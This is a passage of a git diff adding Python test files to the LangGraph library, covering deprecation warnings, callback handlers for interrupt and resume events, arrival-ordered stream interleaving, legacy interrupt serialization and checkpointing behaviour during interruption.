match="`checkpoint_during` is deprecated and will be removed. Please use `durability` instead.", + ): + result = graph.invoke({}, checkpoint_during=True) + assert result["durability"] == "async" + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`checkpoint_during` is deprecated and will be removed. Please use `durability` instead.", + ): + result = graph.invoke({}, checkpoint_during=False) + assert result["durability"] == "exit" + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`checkpoint_during` is deprecated and will be removed. Please use `durability` instead.", + ): + for chunk in graph.stream({}, checkpoint_during=True): # type: ignore[arg-type] + assert chunk["plain_node"]["durability"] == "async" + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`checkpoint_during` is deprecated and will be removed. Please use `durability` instead.", + ): + for chunk in graph.stream({}, checkpoint_during=False): # type: ignore[arg-type] + assert chunk["plain_node"]["durability"] == "exit" + + +def test_config_parameter_incorrect_typing() -> None: + """Test that a warning is raised when config parameter is typed incorrectly.""" + builder = StateGraph(PlainState) + + # Test sync function with config: dict + with pytest.warns( + UserWarning, + match="The 'config' parameter should be typed as 'RunnableConfig' or 'RunnableConfig | None', not '.*dict.*'. ", + ): + + def sync_node_with_dict_config(state: PlainState, config: dict) -> PlainState: + return state + + builder.add_node(sync_node_with_dict_config) + + # Test async function with config: dict + with pytest.warns( + UserWarning, + match="The 'config' parameter should be typed as 'RunnableConfig' or 'RunnableConfig | None', not '.*dict.*'. ", + ): + + async def async_node_with_dict_config( + state: PlainState, config: dict + ) -> PlainState: + return state + + builder.add_node(async_node_with_dict_config) + + # Test with other incorrect types + with pytest.warns( + UserWarning, + match="The 'config' parameter should be typed as 'RunnableConfig' or 'RunnableConfig | None', not '.*Any.*'. ", + ): + + def sync_node_with_any_config(state: PlainState, config: Any) -> PlainState: + return state + + builder.add_node(sync_node_with_any_config) + + with pytest.warns( + UserWarning, + match="The 'config' parameter should be typed as 'RunnableConfig' or 'RunnableConfig | None', not '.*Any.*'. ", + ): + + async def async_node_with_any_config( + state: PlainState, config: Any + ) -> PlainState: + return state + + builder.add_node(async_node_with_any_config) + + with warnings.catch_warnings(record=True) as w: + + def node_with_correct_config( + state: PlainState, config: RunnableConfig + ) -> PlainState: + return state + + builder.add_node(node_with_correct_config) + + def node_with_optional_config( + state: PlainState, + config: Optional[RunnableConfig], # noqa: UP045 + ) -> PlainState: + return state + + builder.add_node(node_with_optional_config) + + def node_with_untyped_config(state: PlainState, config) -> PlainState: + return state + + builder.add_node(node_with_untyped_config) + + async def async_node_with_correct_config( + state: PlainState, config: RunnableConfig + ) -> PlainState: + return state + + builder.add_node(async_node_with_correct_config) + + async def async_node_with_optional_config( + state: PlainState, + config: Optional[RunnableConfig], # noqa: UP045 + ) -> PlainState: + return state + + builder.add_node(async_node_with_optional_config) + + async def async_node_with_untyped_config( + state: PlainState, config + ) -> PlainState: + return state + + builder.add_node(async_node_with_untyped_config) + assert len(w) == 0 + + +def test_message_graph_deprecation() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="MessageGraph is deprecated in LangGraph v1.0.0, to be removed in v2.0.0. Please use StateGraph with a `messages` key instead.", + ): + MessageGraph() + + +def test_graph_output_getitem_deprecation() -> None: + output = GraphOutput(value={"foo": "bar"}) + + with pytest.warns( + LangGraphDeprecatedSinceV11, + match=r"Accessing GraphOutput via `result\[key\]` is deprecated", + ): + assert output["foo"] == "bar" + + +def test_graph_output_contains_deprecation() -> None: + output = GraphOutput(value={"foo": "bar"}) + + with pytest.warns( + LangGraphDeprecatedSinceV11, + match=r"Accessing GraphOutput via `key in result` is deprecated", + ): + assert "foo" in output + + +def test_graph_output_getitem_interrupt_deprecation() -> None: + interrupts = (Interrupt(value="q", id="abc"),) + output = GraphOutput(value={"foo": "bar"}, interrupts=interrupts) + + with pytest.warns( + LangGraphDeprecatedSinceV11, + match=r"Accessing GraphOutput via `result\[key\]` is deprecated", + ): + assert output["__interrupt__"] == interrupts diff --git a/libs/langgraph/tests/test_graph_callbacks.py b/libs/langgraph/tests/test_graph_callbacks.py new file mode 100644 index 0000000..09c3ab4 --- /dev/null +++ b/libs/langgraph/tests/test_graph_callbacks.py @@ -0,0 +1,344 @@ +from __future__ import annotations + +import sys +from typing import Any + +import pytest +from langchain_core.callbacks.base import BaseCallbackHandler +from langchain_core.callbacks.manager import CallbackManager +from langgraph.checkpoint.memory import InMemorySaver +from typing_extensions import TypedDict + +from langgraph.callbacks import ( + GraphCallbackHandler, + GraphInterruptEvent, + GraphResumeEvent, +) +from langgraph.graph import START, StateGraph +from langgraph.types import Command, Interrupt, interrupt + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + + +class _GraphEventHandler(GraphCallbackHandler): + def __init__(self) -> None: + self.interrupt_events: list[GraphInterruptEvent] = [] + self.resume_events: list[GraphResumeEvent] = [] + + def on_interrupt(self, event: GraphInterruptEvent) -> Any: + self.interrupt_events.append(event) + + def on_resume(self, event: GraphResumeEvent) -> Any: + self.resume_events.append(event) + + +class _LangChainCustomEventHandler(BaseCallbackHandler): + run_inline = True + + def __init__(self) -> None: + self.events: list[str] = [] + + def on_custom_event(self, name: str, data: Any, **kwargs: Any) -> Any: + self.events.append(name) + + +class _RaisingGraphEventHandler(GraphCallbackHandler): + def __init__( + self, + *, + raise_on_interrupt: bool = False, + raise_on_resume: bool = False, + raise_error: bool = False, + ) -> None: + self.raise_on_interrupt = raise_on_interrupt + self.raise_on_resume = raise_on_resume + self.raise_error = raise_error + + def on_interrupt(self, event: GraphInterruptEvent) -> Any: + if self.raise_on_interrupt: + raise ValueError("boom-interrupt") + + def on_resume(self, event: GraphResumeEvent) -> Any: + if self.raise_on_resume: + raise ValueError("boom-resume") + + +class _AsyncRaisingGraphEventHandler(GraphCallbackHandler): + def __init__( + self, + *, + raise_on_interrupt: bool = False, + raise_on_resume: bool = False, + raise_error: bool = False, + ) -> None: + self.raise_on_interrupt = raise_on_interrupt + self.raise_on_resume = raise_on_resume + self.raise_error = raise_error + + async def on_interrupt(self, event: GraphInterruptEvent) -> Any: + if self.raise_on_interrupt: + raise ValueError("boom-interrupt") + + async def on_resume(self, event: GraphResumeEvent) -> Any: + if self.raise_on_resume: + raise ValueError("boom-resume") + + +class _State(TypedDict): + answer: str | None + + +def _build_interrupt_graph() -> Any: + def ask(state: _State) -> _State: + answer = interrupt("Provide value") + return {"answer": answer} + + builder = StateGraph(_State) + builder.add_node("ask", ask) + builder.add_edge(START, "ask") + return builder.compile(checkpointer=InMemorySaver()) + + +def test_graph_callbacks_interrupt_and_resume_sync() -> None: + graph = _build_interrupt_graph() + handler = _GraphEventHandler() + langchain_handler = _LangChainCustomEventHandler() + config = { + "configurable": {"thread_id": "graph-callback-sync"}, + "callbacks": [langchain_handler, handler], + } + + first = graph.invoke({"answer": None}, config) + assert "__interrupt__" in first + + assert len(handler.interrupt_events) == 1 + assert handler.interrupt_events[0].interrupts + assert isinstance(handler.interrupt_events[0].interrupts[0], Interrupt) + assert handler.interrupt_events[0].checkpoint_ns == () + assert langchain_handler.events == [] + + handler.resume_events.clear() + resumed = graph.invoke(Command(resume="done"), config) + assert resumed == {"answer": "done"} + + assert len(handler.resume_events) == 1 + assert handler.resume_events[0].checkpoint_ns == () + assert langchain_handler.events == [] + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +async def test_graph_callbacks_interrupt_and_resume_async() -> None: + graph = _build_interrupt_graph() + handler = _GraphEventHandler() + langchain_handler = _LangChainCustomEventHandler() + config = { + "configurable": {"thread_id": "graph-callback-async"}, + "callbacks": [langchain_handler, handler], + } + + first = await graph.ainvoke({"answer": None}, config) + assert "__interrupt__" in first + + assert len(handler.interrupt_events) == 1 + assert handler.interrupt_events[0].interrupts + assert isinstance(handler.interrupt_events[0].interrupts[0], Interrupt) + assert handler.interrupt_events[0].checkpoint_ns == () + assert langchain_handler.events == [] + + handler.resume_events.clear() + resumed = await graph.ainvoke(Command(resume="done"), config) + assert resumed == {"answer": "done"} + + assert len(handler.resume_events) == 1 + assert handler.resume_events[0].checkpoint_ns == () + assert langchain_handler.events == [] + + +def test_graph_callbacks_continue_when_interrupt_handler_raises_sync() -> None: + graph = _build_interrupt_graph() + raising_handler = _RaisingGraphEventHandler(raise_on_interrupt=True) + recording_handler = _GraphEventHandler() + + first = graph.invoke( + {"answer": None}, + { + "configurable": {"thread_id": "graph-callback-sync-raises"}, + "callbacks": [raising_handler, recording_handler], + }, + ) + + assert "__interrupt__" in first + assert len(recording_handler.interrupt_events) == 1 + + +def test_graph_callbacks_continue_when_resume_handler_raises_sync() -> None: + graph = _build_interrupt_graph() + raising_handler = _RaisingGraphEventHandler(raise_on_resume=True) + recording_handler = _GraphEventHandler() + config = { + "configurable": {"thread_id": "graph-callback-sync-raises-resume"}, + "callbacks": [raising_handler, recording_handler], + } + + first = graph.invoke({"answer": None}, config) + assert "__interrupt__" in first + + resumed = graph.invoke(Command(resume="done"), config) + assert resumed == {"answer": "done"} + assert len(recording_handler.resume_events) == 1 + + +def test_graph_callbacks_raise_error_propagates_sync() -> None: + graph = _build_interrupt_graph() + raising_handler = _RaisingGraphEventHandler( + raise_on_interrupt=True, + raise_error=True, + ) + + with pytest.raises(ValueError, match="boom-interrupt"): + graph.invoke( + {"answer": None}, + { + "configurable": {"thread_id": "graph-callback-sync-raise-error"}, + "callbacks": [raising_handler], + }, + ) + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +async def test_graph_callbacks_continue_when_handler_raises_async() -> None: + graph = _build_interrupt_graph() + raising_interrupt_handler = _AsyncRaisingGraphEventHandler(raise_on_interrupt=True) + recording_handler = _GraphEventHandler() + config = { + "configurable": {"thread_id": "graph-callback-async-raises-interrupt"}, + "callbacks": [raising_interrupt_handler, recording_handler], + } + + first = await graph.ainvoke({"answer": None}, config) + assert "__interrupt__" in first + assert len(recording_handler.interrupt_events) == 1 + + graph = _build_interrupt_graph() + raising_resume_handler = _AsyncRaisingGraphEventHandler(raise_on_resume=True) + recording_handler = _GraphEventHandler() + config = { + "configurable": {"thread_id": "graph-callback-async-raises-resume"}, + "callbacks": [raising_resume_handler, recording_handler], + } + + first = await graph.ainvoke({"answer": None}, config) + assert "__interrupt__" in first + resumed = await graph.ainvoke(Command(resume="done"), config) + assert resumed == {"answer": "done"} + assert len(recording_handler.resume_events) == 1 + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +async def test_graph_callbacks_raise_error_propagates_async() -> None: + graph = _build_interrupt_graph() + raising_handler = _AsyncRaisingGraphEventHandler( + raise_on_interrupt=True, + raise_error=True, + ) + + with pytest.raises(ValueError, match="boom-interrupt"): + await graph.ainvoke( + {"answer": None}, + { + "configurable": {"thread_id": "graph-callback-async-raise-error"}, + "callbacks": [raising_handler], + }, + ) + + +def test_graph_callbacks_accept_base_callback_manager() -> None: + graph = _build_interrupt_graph() + graph_handler = _GraphEventHandler() + custom_handler = _LangChainCustomEventHandler() + manager = CallbackManager.configure(inheritable_callbacks=[custom_handler]) + manager.add_handler(graph_handler) + + first = graph.invoke( + {"answer": None}, + { + "configurable": {"thread_id": "graph-callback-base-manager"}, + "callbacks": manager, + }, + ) + + assert "__interrupt__" in first + assert len(graph_handler.interrupt_events) == 1 + + +def test_non_graph_handler_via_add_handler_does_not_crash() -> None: + """Non-GraphCallbackHandler added via add_handler should not raise. + + Libraries like opentelemetry-instrumentation-langchain monkey-patch + BaseCallbackManager.__init__ and inject handlers via add_handler(). + These handlers inherit from BaseCallbackHandler, not + GraphCallbackHandler. They must be silently accepted — graph lifecycle + events will simply not be dispatched to them. + """ + from langgraph.callbacks import _GraphCallbackManager + + manager = _GraphCallbackManager() + plain_handler = _LangChainCustomEventHandler() + + manager.add_handler(plain_handler, inherit=True) + assert plain_handler in manager.handlers + + +def test_non_graph_handler_does_not_receive_lifecycle_events() -> None: + """Non-GraphCallbackHandler added alongside a GraphCallbackHandler + should not interfere with lifecycle event dispatch.""" + graph = _build_interrupt_graph() + graph_handler = _GraphEventHandler() + plain_handler = _LangChainCustomEventHandler() + + config = { + "configurable": {"thread_id": "graph-callback-mixed-handlers"}, + "callbacks": [plain_handler, graph_handler], + } + + first = graph.invoke({"answer": None}, config) + assert "__interrupt__" in first + + assert len(graph_handler.interrupt_events) == 1 + assert plain_handler.events == [] + + resumed = graph.invoke(Command(resume="done"), config) + assert resumed == {"answer": "done"} + assert len(graph_handler.resume_events) == 1 + assert plain_handler.events == [] + + +@pytest.mark.anyio +@NEEDS_CONTEXTVARS +async def test_non_graph_handler_does_not_receive_lifecycle_events_async() -> None: + """Async variant: non-GraphCallbackHandler should not interfere.""" + graph = _build_interrupt_graph() + graph_handler = _GraphEventHandler() + plain_handler = _LangChainCustomEventHandler() + + config = { + "configurable": {"thread_id": "graph-callback-mixed-handlers-async"}, + "callbacks": [plain_handler, graph_handler], + } + + first = await graph.ainvoke({"answer": None}, config) + assert "__interrupt__" in first + + assert len(graph_handler.interrupt_events) == 1 + assert plain_handler.events == [] + + resumed = await graph.ainvoke(Command(resume="done"), config) + assert resumed == {"answer": "done"} + assert len(graph_handler.resume_events) == 1 + assert plain_handler.events == [] diff --git a/libs/langgraph/tests/test_interleave_arrival_order.py b/libs/langgraph/tests/test_interleave_arrival_order.py new file mode 100644 index 0000000..3e8ede1 --- /dev/null +++ b/libs/langgraph/tests/test_interleave_arrival_order.py @@ -0,0 +1,359 @@ +"""Tests for arrival-ordered interleave and push stamps.""" + +from __future__ import annotations + +import operator +from typing import Annotated, Any + +import pytest +from typing_extensions import TypedDict + +from langgraph.constants import END, START +from langgraph.graph import StateGraph +from langgraph.stream import StreamChannel, StreamTransformer +from langgraph.stream._mux import StreamMux +from langgraph.stream._types import ProtocolEvent +from langgraph.stream.run_stream import GraphRunStream +from langgraph.stream.transformers import ValuesTransformer + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +class _TwoChannelTransformer(StreamTransformer): + """Transformer that exposes two named channels for testing interleave.""" + + _native = True + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._alpha: StreamChannel[str] = StreamChannel("alpha") + self._beta: StreamChannel[str] = StreamChannel("beta") + + def init(self) -> dict[str, Any]: + return {"alpha": self._alpha, "beta": self._beta} + + def process(self, event: ProtocolEvent) -> bool: + return True + + +class SimpleState(TypedDict): + value: str + items: Annotated[list[str], operator.add] + + +def _build_simple_graph(): + def node_a(state: SimpleState) -> dict: + return {"value": state["value"] + "A", "items": ["a"]} + + def node_b(state: SimpleState) -> dict: + return {"value": state["value"] + "B", "items": ["b"]} + + builder = StateGraph(SimpleState) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_b", END) + return builder.compile() + + +# --------------------------------------------------------------------------- +# Unit tests: push stamps on StreamChannel +# --------------------------------------------------------------------------- + + +class TestPushStamps: + def test_stamps_are_monotonic_across_channels(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + beta = mux.extensions["beta"] + + alpha._subscribed = True + beta._subscribed = True + + alpha.push("a1") + beta.push("b1") + alpha.push("a2") + beta.push("b2") + + all_stamped = list(alpha._items) + list(beta._items) + stamps = [s for s, _ in all_stamped] + assert len(set(stamps)) == 4 + items_by_arrival = [item for _, item in sorted(all_stamped)] + assert items_by_arrival == ["a1", "b1", "a2", "b2"] + + def test_regular_iter_strips_stamps(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + it = iter(alpha) + alpha.push("a1") + alpha.push("a2") + alpha.close() + items = list(it) + assert items == ["a1", "a2"] + assert all(isinstance(item, str) for item in items) + + def test_events_channel_gets_real_stamps(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + + alpha._subscribed = True + alpha.push("a1") + + mux._events._subscribed = True + mux._events.push({"method": "test", "data": "x"}) + + alpha.push("a2") + + all_stamps = [s for s, _ in alpha._items] + [s for s, _ in mux._events._items] + assert len(set(all_stamps)) == len(all_stamps), "all stamps should be unique" + assert all(s > 0 for s in all_stamps), "no stamp should be zero" + + def test_channel_without_mux_gets_zero_stamp(self) -> None: + ch: StreamChannel[str] = StreamChannel() + ch._bind(is_async=False) + ch._subscribed = True + ch.push("x") + assert list(ch._items) == [(0, "x")] + + +# --------------------------------------------------------------------------- +# Unit tests: interleave arrival order +# --------------------------------------------------------------------------- + + +class TestInterleaveArrivalOrder: + def test_arrival_order_not_round_robin(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + beta = mux.extensions["beta"] + run = GraphRunStream(None, mux, wire_pump=False) + + # interleave() subscribes channels directly and reads _items + # for stamp-ordered iteration. We simulate the pump by wiring + # a custom callback that pushes items in a known order. + push_script = [ + ("alpha", "a1"), + ("alpha", "a2"), + ("beta", "b1"), + ("alpha", "a3"), + ("beta", "b2"), + ] + push_iter = iter(push_script) + channels = {"alpha": alpha, "beta": beta} + + def fake_pump() -> bool: + try: + name, item = next(push_iter) + channels[name].push(item) + return True + except StopIteration: + mux.close() + return False + + mux.bind_pump(fake_pump) + + result = list(run.interleave("alpha", "beta")) + names = [name for name, _ in result] + items = [item for _, item in result] + + assert items == ["a1", "a2", "b1", "a3", "b2"] + assert names == ["alpha", "alpha", "beta", "alpha", "beta"] + + def test_single_projection(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + run = GraphRunStream(None, mux, wire_pump=False) + + push_script = [("alpha", "a1"), ("alpha", "a2")] + push_iter = iter(push_script) + + def fake_pump() -> bool: + try: + _, item = next(push_iter) + alpha.push(item) + return True + except StopIteration: + mux.close() + return False + + mux.bind_pump(fake_pump) + + result = list(run.interleave("alpha")) + assert result == [("alpha", "a1"), ("alpha", "a2")] + + def test_empty_projection(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + run = GraphRunStream(None, mux, wire_pump=False) + + push_script = [("alpha", "a1"), ("alpha", "a2")] + push_iter = iter(push_script) + channels = {"alpha": alpha} + + def fake_pump() -> bool: + try: + name, item = next(push_iter) + channels[name].push(item) + return True + except StopIteration: + mux.close() + return False + + mux.bind_pump(fake_pump) + + result = list(run.interleave("alpha", "beta")) + assert result == [("alpha", "a1"), ("alpha", "a2")] + + def test_unknown_projection_raises(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + run = GraphRunStream(None, mux, wire_pump=False) + mux.close() + with pytest.raises((KeyError, AttributeError)): + list(run.interleave("alpha", "does_not_exist")) + + def test_all_empty(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + run = GraphRunStream(None, mux, wire_pump=False) + + def fake_pump() -> bool: + mux.close() + return False + + mux.bind_pump(fake_pump) + + result = list(run.interleave("alpha", "beta")) + assert result == [] + + def test_error_propagation(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + beta = mux.extensions["beta"] + run = GraphRunStream(None, mux, wire_pump=False) + + err = RuntimeError("boom") + + push_script = [ + ("alpha", "a1"), + ("beta", "b1"), + ] + push_iter = iter(push_script) + channels = {"alpha": alpha, "beta": beta} + + def fake_pump() -> bool: + try: + name, item = next(push_iter) + channels[name].push(item) + return True + except StopIteration: + alpha.fail(err) + beta.close() + return False + + mux.bind_pump(fake_pump) + + collected = [] + with pytest.raises(RuntimeError, match="boom"): + for pair in run.interleave("alpha", "beta"): + collected.append(pair) + + assert ("alpha", "a1") in collected + assert ("beta", "b1") in collected + + +# --------------------------------------------------------------------------- +# Integration test: interleave with stream_events(version="v3") +# --------------------------------------------------------------------------- + + +class TestInterleaveIntegration: + def test_interleave_values_and_messages(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + tagged = list(run.interleave("values", "messages")) + names = [name for name, _ in tagged] + assert set(names).issubset({"values", "messages"}) + assert names.count("values") >= 1 + + def test_interleave_rejects_already_subscribed(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + run = GraphRunStream(None, mux, wire_pump=False) + + # Subscribe alpha via iter first + _ = iter(alpha) + mux.close() + + with pytest.raises(RuntimeError, match="already has a subscriber"): + list(run.interleave("alpha")) + + def test_interleave_releases_projections_on_completion(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + list(run.interleave("values", "messages")) + # Subscriptions should be released after the generator completes, + # so the channels can be re-iterated (they'll be empty / closed). + assert run.extensions["values"]._subscribed is False + assert run.extensions["messages"]._subscribed is False + + def test_interleave_releases_projections_on_early_break(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + gen = run.interleave("values", "messages") + next(gen) + gen.close() + assert run.extensions["values"]._subscribed is False + assert run.extensions["messages"]._subscribed is False + + def test_interleave_releases_projections_on_validation_failure(self) -> None: + mux = StreamMux( + factories=[ValuesTransformer, _TwoChannelTransformer], + is_async=False, + ) + alpha = mux.extensions["alpha"] + # Pre-subscribe alpha so that interleave will fail validation when + # it gets to the second name. The first (already-validated) channel + # should still be released. + run = GraphRunStream(None, mux, wire_pump=False) + mux.close() + alpha._subscribed = True + + with pytest.raises(RuntimeError, match="already has a subscriber"): + list(run.interleave("values", "alpha")) + + assert mux.extensions["values"]._subscribed is False diff --git a/libs/langgraph/tests/test_interrupt_migration.py b/libs/langgraph/tests/test_interrupt_migration.py new file mode 100644 index 0000000..53f2269 --- /dev/null +++ b/libs/langgraph/tests/test_interrupt_migration.py @@ -0,0 +1,50 @@ +import warnings + +import pytest +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer + +from langgraph.types import Interrupt +from langgraph.warnings import LangGraphDeprecatedSinceV10 + + +@pytest.mark.filterwarnings("ignore:LangGraphDeprecatedSinceV10") +def test_interrupt_legacy_ns() -> None: + with warnings.catch_warnings(): + warnings.filterwarnings("ignore", category=LangGraphDeprecatedSinceV10) + + old_interrupt = Interrupt( + value="abc", resumable=True, when="during", ns=["a:b", "c:d"] + ) + + new_interrupt = Interrupt.from_ns(value="abc", ns="a:b|c:d") + assert new_interrupt.value == old_interrupt.value + assert new_interrupt.id == old_interrupt.id + + +serializer = JsonPlusSerializer(allowed_json_modules=True) + + +def test_serialization_roundtrip() -> None: + """Test that the legacy interrupt (pre v1) can be reserialized as the modern interrupt without id corruption.""" + + # generated with: + # JsonPlusSerializer().dumps_typed(Interrupt(value="legacy_test", ns=["legacy_test"], resumable=True, when="during")) + legacy_interrupt_bytes = b'{"lc": 2, "type": "constructor", "id": ["langgraph", "types", "Interrupt"], "kwargs": {"value": "legacy_test", "resumable": true, "ns": ["legacy_test"], "when": "during"}}' + legacy_interrupt_id = "f1fa625689ec006a5b32b76863e22a6c" + + interrupt = serializer.loads_typed(("json", legacy_interrupt_bytes)) + assert interrupt.id == legacy_interrupt_id + assert interrupt.value == "legacy_test" + + +def test_serialization_roundtrip_complex_ns() -> None: + """Test that the legacy interrupt (pre v1), with a more complex ns can be reserialized as the modern interrupt without id corruption.""" + + # generated with: + # JsonPlusSerializer().dumps_typed(Interrupt(value="legacy_test", ns=["legacy:test", "with:complex", "name:space"], resumable=True, when="during")) + legacy_interrupt_bytes = b'{"lc": 2, "type": "constructor", "id": ["langgraph", "types", "Interrupt"], "kwargs": {"value": "legacy_test", "resumable": true, "ns": ["legacy:test", "with:complex", "name:space"], "when": "during"}}' + legacy_interrupt_id = "e69356a9ee3630ee7f4f597f2693000c" + + interrupt = serializer.loads_typed(("json", legacy_interrupt_bytes)) + assert interrupt.id == legacy_interrupt_id + assert interrupt.value == "legacy_test" diff --git a/libs/langgraph/tests/test_interruption.py b/libs/langgraph/tests/test_interruption.py new file mode 100644 index 0000000..a484d74 --- /dev/null +++ b/libs/langgraph/tests/test_interruption.py @@ -0,0 +1,92 @@ +import pytest +from langgraph.checkpoint.base import BaseCheckpointSaver +from typing_extensions import TypedDict + +from langgraph.graph import END, START, StateGraph +from langgraph.types import Durability + +pytestmark = pytest.mark.anyio + + +def test_interruption_without_state_updates( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + """Test interruption without state updates. This test confirms that + interrupting doesn't require a state key having been updated in the prev step""" + + class State(TypedDict): + input: str + + def noop(_state): + pass + + builder = StateGraph(State) + builder.add_node("step_1", noop) + builder.add_node("step_2", noop) + builder.add_node("step_3", noop) + builder.add_edge(START, "step_1") + builder.add_edge("step_1", "step_2") + builder.add_edge("step_2", "step_3") + builder.add_edge("step_3", END) + + graph = builder.compile(checkpointer=sync_checkpointer, interrupt_after="*") + + initial_input = {"input": "hello world"} + thread = {"configurable": {"thread_id": "1"}} + + graph.invoke(initial_input, thread, durability=durability) + assert graph.get_state(thread).next == ("step_2",) + n_checkpoints = len([c for c in graph.get_state_history(thread)]) + assert n_checkpoints == (3 if durability != "exit" else 1) + + graph.invoke(None, thread, durability=durability) + assert graph.get_state(thread).next == ("step_3",) + n_checkpoints = len([c for c in graph.get_state_history(thread)]) + assert n_checkpoints == (4 if durability != "exit" else 2) + + graph.invoke(None, thread, durability=durability) + assert graph.get_state(thread).next == () + n_checkpoints = len([c for c in graph.get_state_history(thread)]) + assert n_checkpoints == (5 if durability != "exit" else 3) + + +async def test_interruption_without_state_updates_async( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + """Test interruption without state updates. This test confirms that + interrupting doesn't require a state key having been updated in the prev step""" + + class State(TypedDict): + input: str + + async def noop(_state): + pass + + builder = StateGraph(State) + builder.add_node("step_1", noop) + builder.add_node("step_2", noop) + builder.add_node("step_3", noop) + builder.add_edge(START, "step_1") + builder.add_edge("step_1", "step_2") + builder.add_edge("step_2", "step_3") + builder.add_edge("step_3", END) + + graph = builder.compile(checkpointer=async_checkpointer, interrupt_after="*") + + initial_input = {"input": "hello world"} + thread = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke(initial_input, thread, durability=durability) + assert (await graph.aget_state(thread)).next == ("step_2",) + n_checkpoints = len([c async for c in graph.aget_state_history(thread)]) + assert n_checkpoints == (3 if durability != "exit" else 1) + + await graph.ainvoke(None, thread, durability=durability) + assert (await graph.aget_state(thread)).next == ("step_3",) + n_checkpoints = len([c async for c in graph.aget_state_history(thread)]) + assert n_checkpoints == (4 if durability != "exit" else 2) + + await graph.ainvoke(None, thread, durability=durability) + assert (await graph.aget_state(thread)).next == () + n_checkpoints = len([c async for c in graph.aget_state_history(thread)]) + assert n_checkpoints == (5 if durability != "exit" else 3) diff --git a/libs/langgraph/tests/test_large_cases.py b/libs/langgraph/tests/test_large_cases.py new file mode 100644 index 0000000..8908669 --- /dev/null +++ b/libs/langgraph/tests/test_large_cases.py @@ -0,0 +1,6986 @@ +import json +import operator +import re +import time +from dataclasses import replace +from typing import Annotated, Any, Literal, cast + +import pytest +from langchain_core.messages import AIMessage, AnyMessage, ToolCall +from langchain_core.runnables import RunnableConfig, RunnableMap, RunnablePick +from langchain_core.tools import tool +from langchain_core.version import VERSION as LANGCHAIN_CORE_VERSION +from langgraph.checkpoint.base import BaseCheckpointSaver +from langgraph.checkpoint.memory import InMemorySaver +from langgraph.prebuilt.chat_agent_executor import create_react_agent +from langgraph.prebuilt.tool_node import ToolNode +from pytest_mock import MockerFixture +from syrupy import SnapshotAssertion +from typing_extensions import TypedDict + +from langgraph._internal._constants import PULL, PUSH +from langgraph.channels.last_value import LastValue +from langgraph.channels.untracked_value import UntrackedValue +from langgraph.constants import END, START +from langgraph.graph import StateGraph +from langgraph.graph.message import MessagesState, add_messages +from langgraph.pregel import NodeBuilder, Pregel +from langgraph.types import ( + Command, + Durability, + Interrupt, + PregelTask, + RetryPolicy, + Send, + StateSnapshot, + StreamWriter, + interrupt, +) +from tests.agents import AgentAction, AgentFinish +from tests.any_int import AnyInt +from tests.any_str import AnyDict, AnyStr, UnsortedSequence +from tests.fake_chat import FakeChatModel +from tests.fake_tracer import FakeTracer +from tests.messages import ( + _AnyIdAIMessage, + _AnyIdAIMessageChunk, + _AnyIdHumanMessage, + _AnyIdToolMessage, +) + + +def test_invoke_two_processes_in_out_interrupt( + sync_checkpointer: BaseCheckpointSaver, + mocker: MockerFixture, +) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("inbox") + two = NodeBuilder().subscribe_only("inbox").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "inbox": LastValue(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + checkpointer=sync_checkpointer, + interrupt_after_nodes=["one"], + ) + thread1 = {"configurable": {"thread_id": "1"}} + thread2 = {"configurable": {"thread_id": "2"}} + + # start execution, stop at inbox + assert app.invoke(2, thread1, durability="async") is None + + # inbox == 3 + checkpoint = sync_checkpointer.get(thread1) + assert checkpoint is not None + assert checkpoint["channel_values"]["inbox"] == 3 + + # resume execution, finish + assert app.invoke(None, thread1, durability="async") == 4 + + # start execution again, stop at inbox + assert app.invoke(20, thread1, durability="async") is None + + # inbox == 21 + checkpoint = sync_checkpointer.get(thread1) + assert checkpoint is not None + assert checkpoint["channel_values"]["inbox"] == 21 + + # send a new value in, 